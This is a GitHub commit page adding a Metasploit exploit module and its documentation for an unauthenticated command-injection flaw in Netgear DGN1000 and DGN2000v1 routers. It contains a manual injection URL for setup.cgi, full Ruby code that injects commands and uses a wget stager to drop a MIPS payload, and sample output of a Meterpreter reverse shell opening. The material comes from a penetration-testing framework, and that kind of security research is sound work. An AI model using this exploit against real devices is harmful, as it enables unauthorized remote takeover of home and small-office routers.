Skip to content

Commit cd35ae4

Browse files
committed
Land rapid7#9106 negear dgn1000 unauth rce module
2 parents 9658776 + 210f6f8 commit cd35ae4

File tree

2 files changed

+145
-0
lines changed

2 files changed

+145
-0
lines changed
Lines changed: 51 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,51 @@
1+
The module netgear_dgn1000_setup_unauth_exec exploits an unauthenticated OS command injection vulnerability in vulnerable Netgear DGN1000 with firmware versions up to `1.1.00.48` in addition to DGN2000v1 models, all firmware versions. The vulnerability occurs in within the `syscmd` fuction of the `setup.cgi` script to execute arbitrary commands. Manual exploitation could be completed through the browser, as for example : `http://<RouterIP>/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=echo+vulnerable&curpath=/&currentsetting.htm=1`. Such example will return "vulnerable" on the page. Vulnerable models have `wget` installed on `/usr/bin/wget` and can be leveraged to drop a MIPS Big Endian payload.
2+
3+
## Vulnerable Application
4+
5+
Netgear DGN1000 with firmware versions up to `1.1.00.48` and DGN2000v1 models
6+
7+
## Verification Steps
8+
9+
1. Start msfconsole
10+
2. Do : `use exploit/linux/http/netgear_dgn1000_setup_unauth_exec`
11+
3. Do : `set RHOST [RouterIP]`
12+
4. Do : `set PAYLOAD [payload]`
13+
5. Do : `run`
14+
6. If router is vulnerable, payload should be dropped via wget and executed, and therein should obtain an session
15+
16+
## Scenarious
17+
18+
Sample output of a successfull exploitation should be look like this :
19+
20+
```
21+
msf > use exploit/linux/http/netgear_dgn1000_setup_unauth_exec
22+
msf exploit(netgear_dgn1000_setup_unauth_exec) > set RHOST 192.168.0.1
23+
RHOST => 192.168.0.1
24+
msf exploit(netgear_dgn1000_setup_unauth_exec) > set RPORT 80
25+
RPORT => 80
26+
msf exploit(netgear_dgn1000_setup_unauth_exec) > set LHOST eth0
27+
LHOST = eth0
28+
msf exploit(netgear_dgn1000_setup_unauth_exec) > set PAYLOAD linux/mipsbe/meterpreter/reverse_tcp
29+
PAYLOAD => linux/mipsbe/meterpreter/reverse_tcp
30+
msf exploit(netgear_dgn1000_setup_unauth_exec) > run
31+
32+
[*] Started reverse TCP handler on 192.168.0.11:4444
33+
[*] 192.168.0.1:80 - Connecting to target...
34+
[*] 192.168.0.1:80 - Exploiting target ....
35+
[*] Using URL: http://0.0.0.0:8080/DnuJhOHYg7auIz
36+
[*] Local IP: http://192.168.0.11:8080/DnuJhOHYg7auIz
37+
[*] Client 192.168.0.1 (Wget) requested /DnuJhOHYg7auIz
38+
[*] Sending payload to 192.168.0.1 (Wget)
39+
[*] Sending stage (1073332 bytes) to 192.168.0.1
40+
[*] Meterpreter session 2 opened (192.168.0.11:4444 -> 192.168.0.1:51558) at 2017-10-20 20:37:06 -0400
41+
[*] Command Stager progress - 100.00% done (129/129 bytes)
42+
[*] Server stopped.
43+
44+
meterpreter > sysinfo
45+
Computer : 192.168.0.1
46+
OS : (Linux 2.6.20-Amazon_SE)
47+
Architecture : mips
48+
Meterpreter : mipsbe/linux
49+
meterpreter >
50+
```
51+
Lines changed: 94 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,94 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::HttpClient
10+
include Msf::Exploit::CmdStager
11+
12+
def initialize(info = {})
13+
super(update_info(info,
14+
'Name' => 'Netgear DGN1000 Setup.cgi Unauthenticated RCE',
15+
'Description' => %q{
16+
This module exploits an unauthenticated OS command execution vulneralbility
17+
in the setup.cgi file in Netgear DGN1000 firmware versions up to 1.1.00.48, and
18+
DGN2000v1 models.
19+
},
20+
'Author' => [
21+
'Mumbai <https://github.com/realoriginal>', # module
22+
'Robort Palerie <[email protected]>' # vuln discovery
23+
],
24+
'References' => [
25+
['EDB', '25978'],
26+
],
27+
'DisclosureDate' => 'Jun 5 2013',
28+
'License' => MSF_LICENSE,
29+
'Platform' => 'linux',
30+
'Arch' => ARCH_MIPSBE,
31+
'DefaultTarget' => 0,
32+
'DefaultOptions' => {
33+
'PAYLOAD' => 'linux/mipsbe/meterpreter/reverse_tcp'
34+
},
35+
'Privileged' => true,
36+
'Payload' => {
37+
'DisableNops' => true,
38+
},
39+
'Targets' => [[ 'Automatic', {} ]],
40+
))
41+
end
42+
43+
def check
44+
begin
45+
res = send_request_cgi({
46+
'uri' => '/setup.cgi',
47+
'method' => 'GET'
48+
})
49+
if res && res.headers['WWW-Authenticate']
50+
auth = res.headers['WWW-Authenticate']
51+
if auth =~ /DGN1000/
52+
return Exploit::CheckCode::Detected
53+
end
54+
end
55+
rescue ::Rex::ConnectionError
56+
return Exploit::CheckCode::Unknown
57+
end
58+
Exploit::CheckCode::Unknown
59+
end
60+
61+
def exploit
62+
print_status("#{peer} - Connecting to target...")
63+
64+
unless check == Exploit::CheckCode::Detected
65+
fail_with(Failure::Unknown, "#{peer} - Failed to access vulnerable URL")
66+
end
67+
68+
print_status("#{peer} - Exploiting target ....")
69+
execute_cmdstager(
70+
:flavor => :wget,
71+
:linemax => 200,
72+
:concat_operator => " && "
73+
)
74+
end
75+
76+
def execute_command(cmd, opts)
77+
begin
78+
res = send_request_cgi({
79+
'uri' => '/setup.cgi',
80+
'method' => 'GET',
81+
'vars_get' => {
82+
'next_file' => 'netgear.cfg',
83+
'todo' => 'syscmd',
84+
'cmd' => cmd.to_s,
85+
'curpath' => '/',
86+
'currentsetting.htm' => '1'
87+
}
88+
})
89+
return res
90+
rescue ::Rex::ConnectionError
91+
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
92+
end
93+
end
94+
end

0 commit comments

Comments
 (0)